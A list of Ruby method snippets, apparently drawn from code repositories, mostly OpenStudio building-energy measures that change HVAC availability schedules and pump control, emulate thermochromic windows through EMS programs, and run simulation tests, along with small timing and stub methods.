"def measure(msg)\n start = Time.now\n yield\n printf \"%<msg>s in %<elapsed>.2f seconds\\n\", msg: msg, elapsed: Time.now - start\nend",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end \n \n #initialize variables\n zone_hvac_count = 0\n pump_count = 0\n air_loop_count = 0\n \n #loop through each air loop in the model\n model.getAirLoopHVACs.sort.each do |air_loop|\n\n # call the method to generate a new occupancy schedule based on a 5% threshold\n occ_sch = air_loop.get_occupancy_schedule(0.15)\n old_sch = air_loop.availabilitySchedule\n next unless compare_eflh(runner, old_sch, occ_sch)\n # set the availability schedule of the airloop to the newly generated schedule\n air_loop.setAvailabilitySchedule(occ_sch)\n runner.registerInfo(\"The availability schedule named #{old_sch.name} for #{air_loop.name} was replaced with a new schedule named #{occ_sch.name} which tracks the occupancy profile of the thermal zones on this airloop.\")\n air_loop_count +=1\n \n end\n\n #loop through each thermal zone\n model.getThermalZones.sort.each do |thermal_zone|\n \n # zone equipments assigned to thermal zones\n thermal_zone_equipment = thermal_zone.equipment \n \n if thermal_zone_equipment.size >= 1\n # run schedule method to create a new schedule ruleset, routines \n occ_sch = thermal_zone.get_occupancy_schedule(0.15)\n \n #loop through Zone HVAC Equipment\n thermal_zone_equipment.each do |equip|\n \n # getting the fan exhaust object & getting relevant information for it. \n if equip.to_FanZoneExhaust.is_initialized\n zone_equip = equip.to_FanZoneExhaust.get\n old_schedule = zone_equip.availabilitySchedule.get\n next unless compare_eflh(runner, old_schedule, occ_sch)\n #assign the 'occ_sch' here as exhaust's availability schedule\n zone_equip.setAvailabilitySchedule(occ_sch)\n runner.registerInfo(\"The availability schedule named #{old_schedule.name} for the OS_Fan_ZoneExhaust named #{zone_equip.name} was replaced with a new schedule named #{occ_sch.name} representing the occupancy profile of the thermal zone named #{thermal_zone.name}.\")\n zone_hvac_count += 1 \t\n elsif equip.to_RefrigerationAirChiller.is_initialized\n zone_equip = equip.to_RefrigerationAirChiller.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_WaterHeaterHeatPump.is_initialized\n zone_equip = equip.to_WaterHeaterHeatPump.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_ZoneHVACBaseboardConvectiveElectric.is_initialized\n zone_equip = equip.to_ZoneHVACBaseboardConvectiveElectric.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_ZoneHVACBaseboardConvectiveWater.is_initialized\n zone_equip = equip.to_ZoneHVACBaseboardConvectiveWater.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_ZoneHVACBaseboardRadiantConvectiveElectric.is_initialized\n zone_equip = equip.to_ZoneHVACBaseboardRadiantConvectiveElectric.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_ZoneHVACBaseboardRadiantConvectiveWater.is_initialized\n zone_equip = equip.to_ZoneHVACBaseboardRadiantConvectiveWater.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_ZoneHVACDehumidifierDX.is_initialized\n zone_equip = equip.to_ZoneHVACDehumidifierDX.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_ZoneHVACEnergyRecoveryVentilator.is_initialized\n zone_equip = equip.to_ZoneHVACEnergyRecoveryVentilator.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\t\n elsif equip.to_ZoneHVACFourPipeFanCoil.is_initialized\n zone_equip = equip.to_ZoneHVACFourPipeFanCoil.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\t\t\n elsif equip.to_ZoneHVACHighTemperatureRadiant.is_initialized\n zone_equip = equip.to_ZoneHVACHighTemperatureRadiant.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\t\n elsif equip.to_ZoneHVACIdealLoadsAirSystem.is_initialized\n zone_equip = equip.to_ZoneHVACIdealLoadsAirSystem.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\t \n elsif equip.to_ZoneHVACLowTemperatureRadiantElectric.is_initialized\n zone_equip = equip.to_ZoneHVACLowTemperatureRadiantElectric.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\t\t\n elsif equip.to_ZoneHVACLowTempRadiantConstFlow.is_initialized\n zone_equip = equip.to_ZoneHVACLowTempRadiantConstFlow.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\t\t \t\n elsif equip.to_ZoneHVACLowTempRadiantVarFlow.is_initialized\n zone_equip = equip.to_ZoneHVACLowTempRadiantVarFlow.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\t\t\n elsif equip.to_ZoneHVACPackagedTerminalAirConditioner.is_initialized\n zone_equip = equip.to_ZoneHVACPackagedTerminalAirConditioner.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_ZoneHVACPackagedTerminalHeatPump.is_initialized\n zone_equip = equip.to_ZoneHVACPackagedTerminalHeatPump.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_ZoneHVACTerminalUnitVariableRefrigerantFlow.is_initialized\n next unless compare_eflh(runner, old_schedule, occ_sch) \n equip.to_ZoneHVACTerminalUnitVariableRefrigerantFlow.get.setTerminalUnitAvailabilityschedule(occ_sch)\n runner.registerInfo(\"The availability schedule for the Zone HVAC Terminal Unit Variable Refrigerant Flow Object has been replaced with a new schedule named #{occ_sch.name} representing the occupancy profile of the thermal zone named #{thermal_zone.name}.\")\t\t\t\t\t\n zone_hvac_count += 1 \n elsif equip.to_ZoneHVACUnitHeater.is_initialized\n zone_equip = equip.to_ZoneHVACUnitHeater.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\n elsif equip.to_ZoneHVACUnitVentilator.is_initialized\n zone_equip = equip.to_ZoneHVACUnitVentilator.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\t\t\n elsif equip.to_ZoneVentilationDesignFlowRate.is_initialized\n runner.registerInfo(\"Thermal Zone named #{thermal_zone.name} has a Zone Ventilation Design Flow Rate object attacjhed as a ZoneHVACEquipment object. No modification were made to this object.\")\t\t\n end \t\n \n end # end loop through Zone HVAC Equipment\n \n else\n runner.registerInfo(\"Thermal Zone named #{thermal_zone.name} has no Zone HVAC Equipment objects attached - therefore no schedule objects have been altered.\")\t\n end # end of if statement\n \n end # end loop through thermal zones\n\n # Change pump control status if any airloops or\n # zone equipment were changed.\n if air_loop_count > 0 || zone_hvac_count > 0\n model.getPlantLoops.each do |plantLoop|\n #Loop through each plant loop demand component\n plantLoop.demandComponents.each do |dc|\n if dc.to_PumpConstantSpeed.is_initialized\n cs_pump = dc.to_PumpConstantSpeed.get\n if cs_pump.pumpControlType == (\"Intermittent\")\n runner.registerInfo(\"Demand side Constant Speed Pump object named #{cs_pump.name} on the plant loop named #{dc.name} had a pump control type attribute already set to intermittent. No changes will be made to this object.\")\n else \n cs_pump.setPumpControlType(\"Intermittent\")\n runner.registerInfo(\"Pump Control Type attribute of Demand side Constant Speed Pump object named #{cs_pump.name} on the plant loop named #{dc.name} was changed from continuous to intermittent.\")\n pump_count +=1\n end\n end\n \n if dc.to_PumpVariableSpeed.is_initialized\n vs_pump = dc.to_PumpVariableSpeed.get\n if vs_pump.pumpControlType == (\"Intermittent\")\n runner.registerInfo(\"Demand side Variable Speed Pump named #{vs_pump.name} on the plant loop named #{dc.name} had a pump control type attribute already set to intermittent. No changes will be made to this object.\")\n else \n cs_pump.setPumpControlType(\"Intermittent\")\n runner.registerInfo(\"Demand side Pump Control Type attribute of Variable Speed Pump named #{vs_pump.name} on the plant loop named #{dc.name} was changed from continuous to intermittent.\")\n pump_count +=1\n end\n end\n end\n \n #Loop through each plant loop supply component\n plantLoop.supplyComponents.each do |sc|\n if sc.to_PumpConstantSpeed.is_initialized\n cs_pump = sc.to_PumpConstantSpeed.get\n if cs_pump.pumpControlType == (\"Intermittent\")\n runner.registerInfo(\"Supply side Constant Speed Pump object named #{cs_pump.name} on the plant loop named #{sc.name} had a pump control type attribute already set to intermittent. No changes will be made to this object.\")\n else \n cs_pump.setPumpControlType(\"Intermittent\")\n runner.registerInfo(\"Supply Side Pump Control Type atteribute of Constant Speed Pump named #{cs_pump.name} on the plant loop named #{sc.name} was changed from continuous to intermittent.\")\n pump_count +=1\n end #end if statement\t\n end #end if statement for changing supply component constant speed pump objects\n \n if sc.to_PumpVariableSpeed.is_initialized\n vs_pump = sc.to_PumpVariableSpeed.get\n if vs_pump.pumpControlType == (\"Intermittent\")\n runner.registerInfo(\"Supply side Variable Speed Pump object named #{vs_pump.name} on the plant loop named #{sc.name} had a pump control type attribute already set to intermittent. No changes will be made to this object.\")\n else \n cs_pump.setPumpControlType(\"Intermittent\")\n runner.registerInfo(\"Pump Control Type attribute of Supply Side Variable Speed Pump named #{vs_pump.name} on the plant loop named #{sc.name} was changed from continuous to intermittent.\")\n pump_count +=1\n end #end if statement\t\n end #end if statement for changing supply component variable speed pump objects\n \n end # end loop throught plant loop supply side components\n \n end # end loop through plant loops\n end\n \n #Write N/A message\n if air_loop_count == 0 && zone_hvac_count == 0 && pump_count == 0 \n runner.registerAsNotApplicable(\"The model did not contain any Airloops, Thermal Zones having ZoneHVACEquipment objects or associated plant loop pump objects to act upon. The measure is not applicable.\")\n return true\n end\t\n \n #report initial condition of model\n runner.registerInitialCondition(\"The model started with #{air_loop_count} AirLoops, #{zone_hvac_count} Zone HVAC Equipment Object and #{pump_count} pump objects subject to modifications.\")\n \n # report final condition of model\n runner.registerFinalCondition(\"The measure modified the availability schedules of #{air_loop_count} AirLoops and #{zone_hvac_count} Zone HVAC Equipment objects. #{pump_count} pump objects had control settings modified.\")\n \n # Add ASHRAE Standard 55 warnings\n reporting_frequency = \"Timestep\"\n outputVariable = OpenStudio::Model::OutputVariable.new(\"Zone Thermal Comfort ASHRAE 55 Adaptive Model 90% Acceptability Status []\",model)\n outputVariable.setReportingFrequency(reporting_frequency)\n runner.registerInfo(\"Adding output variable for 'Zone Thermal Comfort ASHRAE 55 Adaptive Model 90% Acceptability Status' reporting at the model timestep.\")\n \n return true\n\t\n end",
"def calc_next_run\n nil\n end",
"def calc_next_run\n nil\n end",
"def running_test_case; end",
"def estimate\n # (native code) \n end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def tick; end",
"def tick; end",
"def tick; end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n verbose_info_statements = runner.getBoolArgumentValue(\"verbose_info_statements\",user_arguments)\n fixed_window_subsurface = runner.getOptionalWorkspaceObjectChoiceValue('fixed_window_subsurface', user_arguments, model) # model is passed in because of argument type\n internal_variable_availability_dictionary_reporting = runner.getStringArgumentValue('internal_variable_availability_dictionary_reporting', user_arguments)\n ems_runtime_language_debug_output_level = runner.getStringArgumentValue('ems_runtime_language_debug_output_level', user_arguments) \n actuator_availability_dictionary_reporting = runner.getStringArgumentValue('actuator_availability_dictionary_reporting', user_arguments) \n \n runner.registerInitialCondition(\"Measure began with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n \n # declare arrys for scope\n array_of_21_sets = []\n material_property_glazing_spectral_data_vector = []\n standard_glazing_layer_array = []\n construction_array = []\n ems_window_construction_array = []\n \n # load idf into workspace\n workspace = OpenStudio::Workspace::load(OpenStudio::Path.new(\"#{File.dirname(__FILE__)}/resources/EMSThermochromicWindow.idf\")).get\n \n # get all MaterialPropertyGlazingSpectralData objects from within the idf\n # material_property_glazing_spectral_datas = source_idf.getObjectsByType(\"MaterialProperty:GlazingSpectralData\".to_IddObjectType)\n material_property_glazing_spectral_datas = workspace.getObjectsByType(\"MaterialProperty:GlazingSpectralData\".to_IddObjectType)\n if verbose_info_statements == true\n runner.registerInfo(\"The model has #{material_property_glazing_spectral_datas.size} material_property_glazing_spectral_datas objects.\")\n end\n \n material_property_glazing_spectral_datas.each do |material_property_glazing_spectral_data|\n \n spectral_data = {\"name\" => \"\",\"properties\" => []}\n spectral_data[\"name\"] = material_property_glazing_spectral_data.getString(0).to_s\n \n # Note: EnergyPlus file MaterialProperty:GlazingSpectralData objects have 1764 /4 = 441 sets of 4 values each \n n = material_property_glazing_spectral_data.numFields\n (1..n).each do |i| \n spectral_data[\"properties\"] << material_property_glazing_spectral_data.getString(i).to_s \n end\n array_of_21_sets << spectral_data\n end\n \n array_of_21_sets.each do |set|\n \n props = set[\"properties\"]\n material_property_glazing_spectral_data = OpenStudio::Model::MaterialPropertyGlazingSpectralData.new(model)\n material_property_glazing_spectral_data.setName(\"#{set[\"name\"]}\")\n \n k = (props.length / 4) - 1\n (0..k).each do |i| # note 440 uniques (a, b, c, d) pairs of attributes for each spectral data field object\n material_property_glazing_spectral_data.addSpectralDataField(props[(i*4)+0].to_f, props[(i*4)+1].to_f, props[(i*4)+2].to_f, props[(i*4)+3].to_f)\t\n end\n \n material_property_glazing_spectral_data_vector << material_property_glazing_spectral_data\n end \n \n # create (2) required new air gas materials to used by all EMS window constructions \n air_gas_3mm_material = OpenStudio::Model::Gas.new(model, \"Air\", 0.003) \n air_gas_3mm_material.setName(\"AIR 3MM\")\n \n air_gas_8mm_material = OpenStudio::Model::Gas.new(model, \"Air\", 0.008) \n air_gas_8mm_material.setName(\"AIR 8MM\")\n \n # loop through array of OS MaterialPropertyGlazingSpectralData objects and create 21 new Standard Glazing objects \n material_property_glazing_spectral_data_vector.each do |spec_data_obj|\n spec_data_obj_name = spec_data_obj.name\n layer_name = spec_data_obj_name.to_s.slice(\"sp\")\n if ((spec_data_obj_name == \"WO18RT25SP\") || (spec_data_obj_name == \"Clear3PPGSP\"))\n layer = OpenStudio::Model::StandardGlazing.new(model, 'Spectral', 0.0075)\n else\n layer = OpenStudio::Model::StandardGlazing.new(model, 'Spectral', 0.003276)\n end\n layer.setName(\"#{layer_name}\")\n layer.setWindowGlassSpectralDataSet(spec_data_obj)\n layer.setInfraredTransmittanceatNormalIncidence(0) # same for all 21 constructions\n layer.setFrontSideInfraredHemisphericalEmissivity(0.84) # same for all 21 constructions\n layer.setBackSideInfraredHemisphericalEmissivity(0.84) # same for all 21 constructions\n if ((spec_data_obj_name == \"WO18RT25SP\") || (spec_data_obj_name == \"Clear3PPGSP\"))\n layer.setConductivity(1.0) \n else\n layer.setConductivity(0.6) \n end\n layer.setDirtCorrectionFactorforSolarandVisibleTransmittance(1) # same for all 21 constructions\n layer.setSolarDiffusing(false)\n standard_glazing_layer_array << layer\n end\n\n # Create (2) unique standard glazing layers not used for Thermochromatic performance \n sb60_clear_3_ppg_layer = standard_glazing_layer_array[0]\n clear_3ppg_layer = standard_glazing_layer_array[1]\n remaining_standard_glazing_layer_array = standard_glazing_layer_array.drop(2)\n \n # create (19) new arrays of layered constructions representing thermochromatic layers\n remaining_standard_glazing_layer_array.each do |remaining_standard_glazing_layer|\n construction = [sb60_clear_3_ppg_layer, air_gas_3mm_material, remaining_standard_glazing_layer, air_gas_8mm_material, sb60_clear_3_ppg_layer]\n construction_array << construction\n end\n \n # create 19 new OS:Construction objects representing EMS thermochromatic windows\n name_index_array = [25, 27, 29, 31, 33, 35, 37, 39, 41, 43, 45, 50, 55, 60, 65, 70, 75, 80, 85]\n index = 0\n \n construction_array.each do |const|\n ems_window_construction = OpenStudio::Model::Construction.new(const)\n ems_window_construction.setName(\"TCwindow_#{name_index_array[index]}\")\n if verbose_info_statements == true\n runner.registerInfo(\"Created a new Construction named #{ems_window_construction.name} representing a thermochromatic window construction.\")\n end\n ems_window_construction_array << ems_window_construction\n index +=1\n end\n\n # check the user argument of the fixed window subsurface for reasonableness\n if fixed_window_subsurface.empty?\n handle = runner.getStringArgumentValue('fixed_window_subsurface', user_arguments)\n if handle.empty?\n runner.registerError('No fixed window subsurface was chosen.')\n else\n runner.registerError(\"The selected fixed window subsurface with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if !fixed_window_subsurface.get.to_SubSurface.empty?\n fixed_window_subsurface = fixed_window_subsurface.get.to_SubSurface.get\n else\n runner.registerError('Script Error - argument not showing up as construction.')\n return false\n end\n end\n \n # Create a new EnergyManagementSystem:Sensor object representing the Surface Outside Face temp of the EMS thermochromatic window subsurface\n ems_win_Tout_sensor = OpenStudio::Model::EnergyManagementSystemSensor.new(model, \"Surface Outside Face Temperature\")\n ems_win_Tout_sensor.setName(\"Win1_Tout\")\n ems_win_Tout_sensor.setKeyName(\"#{fixed_window_subsurface.name}\")\n if verbose_info_statements == true\n runner.registerInfo(\"An EMS Sensor object named '#{ems_win_Tout_sensor.name}' representing the Surface Outside Face temp of the EMS thermochromatic window subsurface was added to the model.\") \n end\n \n # Create a new EMS Actuator Object representing the construction state of the EMS generated thermochromatic window \n ems_win_construct_actuator = OpenStudio::Model::EnergyManagementSystemActuator.new(fixed_window_subsurface, \"Surface\", \"Construction State\")\n ems_win_construct_actuator.setName(\"Win1_Construct\")\n if verbose_info_statements == true\n runner.registerInfo(\"An EMS Actuator object named '#{ems_win_construct_actuator.name}' representing construction state of the EMS generated thermochromatic window was added to the model.\") \n end\n \n # Create 19 EnergyManagementSystem:ConstructionIndexVariable objects for each unique thermochromatic construction\n ems_window_construction_array.each do |ems_window_construction|\n ems_constr_index_var = OpenStudio::Model::EnergyManagementSystemConstructionIndexVariable.new(model, ems_window_construction ) \n ems_constr_index_var.setName(\"#{ems_window_construction.name}\")\n if verbose_info_statements == true\n runner.registerInfo(\"An EMS SystemConstructionIndexVariable object named '#{ems_constr_index_var.name}' representing the the EMS construction state of the thermochromatic window was added to the model.\") \n end\n end\n \n # Create new EnergyManagementSystem:Program object for assigning different window constructions by dynamically evaluating the exterior surface temp of the fixed window subsurface \n ems_apply_thermochromatic_constructions_prgm = OpenStudio::Model::EnergyManagementSystemProgram.new(model)\n ems_apply_thermochromatic_constructions_prgm.setName(\"#{fixed_window_subsurface.name}_Control\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"IF #{ems_win_Tout_sensor.name} <= 26.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_25\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 28.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_27\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 30.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_29\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 32.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_31\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 34.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_33\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 36.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_35\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 38.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_37\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 40.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_39\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 42.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_41\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 44.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_43\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 47.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_45\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 52.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_50\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 57.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_55\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 62.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_60\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 67.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_65\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 72.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_70\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 77.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_75\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 82.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_80\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSE\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_85\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ENDIF\")\n if verbose_info_statements == true\n runner.registerInfo(\"An EMS Program Object named '#{ems_apply_thermochromatic_constructions_prgm.name}' for dynamically assigning different window constructions based on the exterior surface temp was added to the model.\") \n end\n \n # Create a new EnergyManagementSystem:ProgramCallingManager object configured to call the EMS programs\n ems_prgm_calling_mngr = OpenStudio::Model::EnergyManagementSystemProgramCallingManager.new(model)\n ems_prgm_calling_mngr.setName(\"My thermochromic window emulator\")\n ems_prgm_calling_mngr.setCallingPoint(\"BeginTimestepBeforePredictor\")\n ems_prgm_calling_mngr.addProgram(ems_apply_thermochromatic_constructions_prgm)\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program Calling Manager object named '#{ems_prgm_calling_mngr.name}' added to call EMS program for dynamically applying a thermochromatic window.\") \n end\n \n # create unique object for OutputEnergyManagementSystems and configure to allow EMS reporting\n outputEMS = model.getOutputEnergyManagementSystem\n outputEMS.setInternalVariableAvailabilityDictionaryReporting(\"internal_variable_availability_dictionary_reporting\")\n outputEMS.setEMSRuntimeLanguageDebugOutputLevel(\"ems_runtime_language_debug_output_level\")\n outputEMS.setActuatorAvailabilityDictionaryReporting(\"actuator_availability_dictionary_reporting\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS OutputEnergyManagementSystem object configured per user arguments.\") \n end\n \n runner.registerFinalCondition(\"Measure finished with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n\n end",
"def bench(action, msg = nil)\n @t ||= Time.now\n @total ||= 0\n @step ||= 0\n case action\n when :start\n @step = 0\n @total = 0\n @t = Time.now\n when :step\n @step += 1\n int = Time.now - @t\n @total += int\n @t = Time.now\n dbg(\"Benchmark #{msg.nil? ? (\"%02d\" % @step) : msg}: #{\"%8.3fms\" % (int * 1000)} (Total: #{\"%8.3fms\" % (@total * 1000)}).\")\n end\nend",
"def apply_measure_and_run(test_name, measure, argument_map, osm_path, epw_path, run_model: false)\n assert(File.exist?(osm_path))\n assert(File.exist?(epw_path))\n\n # create run directory if it does not exist\n if !File.exist?(run_dir(test_name))\n FileUtils.mkdir_p(run_dir(test_name))\n end\n assert(File.exist?(run_dir(test_name)))\n\n # change into run directory for tests\n start_dir = Dir.pwd\n Dir.chdir run_dir(test_name)\n\n # remove prior runs if they exist\n if File.exist?(model_output_path(test_name))\n FileUtils.rm(model_output_path(test_name))\n end\n if File.exist?(report_path(test_name))\n FileUtils.rm(report_path(test_name))\n end\n\n # copy the osm and epw to the test directory\n new_osm_path = \"#{run_dir(test_name)}/#{File.basename(osm_path)}\"\n FileUtils.cp(osm_path, new_osm_path)\n new_epw_path = \"#{run_dir(test_name)}/#{File.basename(epw_path)}\"\n FileUtils.cp(epw_path, new_epw_path)\n # create an instance of a runner\n runner = OpenStudio::Measure::OSRunner.new(OpenStudio::WorkflowJSON.new)\n\n # load the test model\n model = load_model(new_osm_path)\n\n # set model weather file\n epw_file = OpenStudio::EpwFile.new(OpenStudio::Path.new(new_epw_path))\n OpenStudio::Model::WeatherFile.setWeatherFile(model, epw_file)\n assert(model.weatherFile.is_initialized)\n\n # run the measure\n puts \"\\nAPPLYING MEASURE...\"\n measure.run(model, runner, argument_map)\n result = runner.result\n\n # show the output\n show_output(result)\n\n # save model\n model.save(model_output_path(test_name), true)\n\n errs = []\n if run_model && (result.value.valueName == 'Success')\n puts \"\\nRUNNING ANNUAL SIMULATION...\"\n\n std = Standard.build('NREL ZNE Ready 2017')\n std.model_run_simulation_and_log_errors(model, run_dir(test_name))\n\n # check that the model ran successfully and generated a report\n assert(File.exist?(model_output_path(test_name)))\n assert(File.exist?(sql_path(test_name)))\n assert(File.exist?(report_path(test_name)))\n\n # set runner variables\n runner.setLastEpwFilePath(epw_path)\n runner.setLastOpenStudioModelPath(OpenStudio::Path.new(model_output_path(test_name)))\n runner.setLastEnergyPlusSqlFilePath(OpenStudio::Path.new(sql_path(test_name)))\n sql = runner.lastEnergyPlusSqlFile.get\n model.setSqlFile(sql)\n\n # test for unmet hours\n unmet_heating_hrs = std.model_annual_occupied_unmet_heating_hours(model)\n unmet_cooling_hrs = std.model_annual_occupied_unmet_cooling_hours(model)\n unmet_hrs = std.model_annual_occupied_unmet_hours(model)\n max_unmet_hrs = 550\n if unmet_hrs\n if unmet_hrs > 550\n errs << \"For #{test_name} there were #{unmet_heating_hrs.round(1)} unmet occupied heating hours and #{unmet_cooling_hrs.round(1)} unmet occupied cooling hours (total: #{unmet_hrs.round(1)}), more than the limit of #{max_unmet_hrs}.\" if unmet_hrs > max_unmet_hrs\n else\n puts \"There were #{unmet_heating_hrs.round(1)} unmet occupied heating hours and #{unmet_cooling_hrs.round(1)} unmet occupied cooling hours (total: #{unmet_hrs.round(1)}).\"\n end\n else\n errs << \"For #{test_name} could not determine unmet hours; simulation may have failed.\"\n end\n end\n\n # change back directory\n Dir.chdir(start_dir)\n\n assert(errs.empty?, errs.join(\"\\n\"))\n\n return result\n end",
"def after_assumption(name); end",
"def call\n result = while_measuring_memory_usage { action.call }\n\n Measurement.from_result(result)\n end",
